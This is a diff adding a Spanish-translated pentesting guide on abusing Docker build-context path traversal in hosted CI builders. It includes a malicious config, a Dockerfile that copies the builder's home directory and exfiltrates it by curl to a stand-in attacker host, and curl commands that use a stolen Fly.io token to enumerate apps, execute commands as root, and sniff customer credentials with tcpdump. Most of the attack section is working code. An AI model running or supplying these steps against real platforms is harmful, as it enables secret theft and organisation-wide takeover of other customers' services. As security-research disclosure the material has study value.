Translated ['src/pentesting-ci-cd/docker-build-context-abuse.md', 'src/p

src/pentesting-ci-cd/docker-build-context-abuse.md

@@ -0,0 +1,101 @@
+# Abuso del Docker Build Context en Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## TL;DR
+
+Si una plataforma CI/CD o un hosted builder permite a los colaboradores especificar la ruta del Docker build context y la ruta del Dockerfile, a menudo puedes establecer el context en un directorio padre (p. ej., "..") y hacer que archivos del host formen parte del build context. Entonces, un Dockerfile controlado por el atacante puede COPY y exfiltrar secretos encontrados en el home del usuario del builder (por ejemplo, ~/.docker/config.json). Los tokens de registry robados también pueden funcionar contra las control-plane APIs del proveedor, permitiendo RCE a nivel de organización.
+
+## Superficie de ataque
+
+Muchos servicios hosted builder/registry realizan más o menos esto al construir imágenes enviadas por usuarios:
+- Leer una configuración a nivel de repo que incluye:
+  - build context path (enviado al Docker daemon)
+  - Dockerfile path relative to that context
+- Copiar el directorio de build context indicado y el Dockerfile al Docker daemon
+- Construir la imagen y ejecutarla como un servicio alojado
+
+Si la plataforma no canonicaliza y restringe el build context, un usuario puede establecerlo en una ubicación fuera del repositorio (path traversal), haciendo que archivos arbitrarios del host legibles por el build user pasen a formar parte del build context y estén disponibles para COPY en el Dockerfile.
+
+Restricciones prácticas comúnmente observadas:
+- El Dockerfile debe residir dentro de la context path elegido y su ruta debe conocerse de antemano.
+- El build user debe tener acceso de lectura a los archivos incluidos en el context; los archivos de dispositivo especiales pueden romper la copia.
+
+## PoC: Path traversal via Docker build context
+
+Example malicious server config declaring a Dockerfile within the parent directory context:
+```yaml
+runtime: "container"
+build:
+dockerfile: "test/Dockerfile"   # Must reside inside the final context
+dockerBuildPath: ".."           # Path traversal to builder user $HOME
+startCommand:
+type: "http"
+configSchema:
+type: "object"
+properties:
+apiKey:
+type: "string"
+required: ["apiKey"]
+exampleConfig:
+apiKey: "sk-example123"
+```
+Notas:
+- El uso de ".." a menudo resuelve al home del usuario builder (p. ej., /home/builder), que típicamente contiene archivos sensibles.
+- Coloca tu Dockerfile bajo el nombre del directorio del repo (p. ej., repo "test" → test/Dockerfile) para que permanezca dentro del contexto expandido del directorio padre.
+
+## PoC: Dockerfile para ingest y exfiltrate el contexto del host
+```dockerfile
+FROM alpine
+RUN apk add --no-cache curl
+RUN mkdir /data
+COPY . /data                      # Copies entire build context (now builder’s $HOME)
+RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
+```
+Objetivos comúnmente recuperados desde $HOME:
+- ~/.docker/config.json (registry auths/tokens)
+- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
+
+Consejo: Incluso con un .dockerignore en el repositorio, la selección de contexto del lado de la plataforma vulnerable sigue gobernando qué se envía al daemon. Si la plataforma copia la ruta seleccionada al daemon antes de evaluar el .dockerignore de tu repo, los archivos del host aún pueden exponerse.
+
+## Pivot en la nube con tokens sobreprivilegiados (ejemplo: Fly.io Machines API)
+
+Algunas plataformas emiten un único bearer token usable tanto para el container registry como para la control-plane API. Si exfiltras un registry token, pruébalo contra la provider API.
+
+Ejemplos de llamadas API contra Fly.io Machines API usando el token robado de ~/.docker/config.json:
+
+Enumerar apps en una org:
+```bash
+curl -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps?org_slug=smithery"
+```
+Ejecutar un comando como root dentro de cualquier máquina de una aplicación:
+```bash
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
+```
+Resultado: org-wide remote code execution en todas las aplicaciones alojadas donde el token tenga suficientes privilegios.
+
+## Robo de secretos desde servicios alojados comprometidos
+
+Con exec/RCE en servidores alojados, puedes recolectar secretos proporcionados por clientes (API keys, tokens) o montar ataques de prompt-injection. Ejemplo: instala tcpdump y captura tráfico HTTP en port 8080 para extraer inbound credentials.
+```bash
+# Install tcpdump inside the machine
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"apk add tcpdump","command":[],"container":"","stdin":"","timeout":5}'
+
+# Capture traffic
+curl -s -X POST -H "Authorization: Bearer fm2_..." \
+"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
+--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
+```
+Las solicitudes capturadas a menudo contienen credenciales de cliente en los encabezados, los cuerpos o los parámetros de consulta.
+
+## Referencias
+
+- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
+- [Fly.io Machines API](https://fly.io/docs/machines/api/)
+
+{{#include ../banners/hacktricks-training.md}}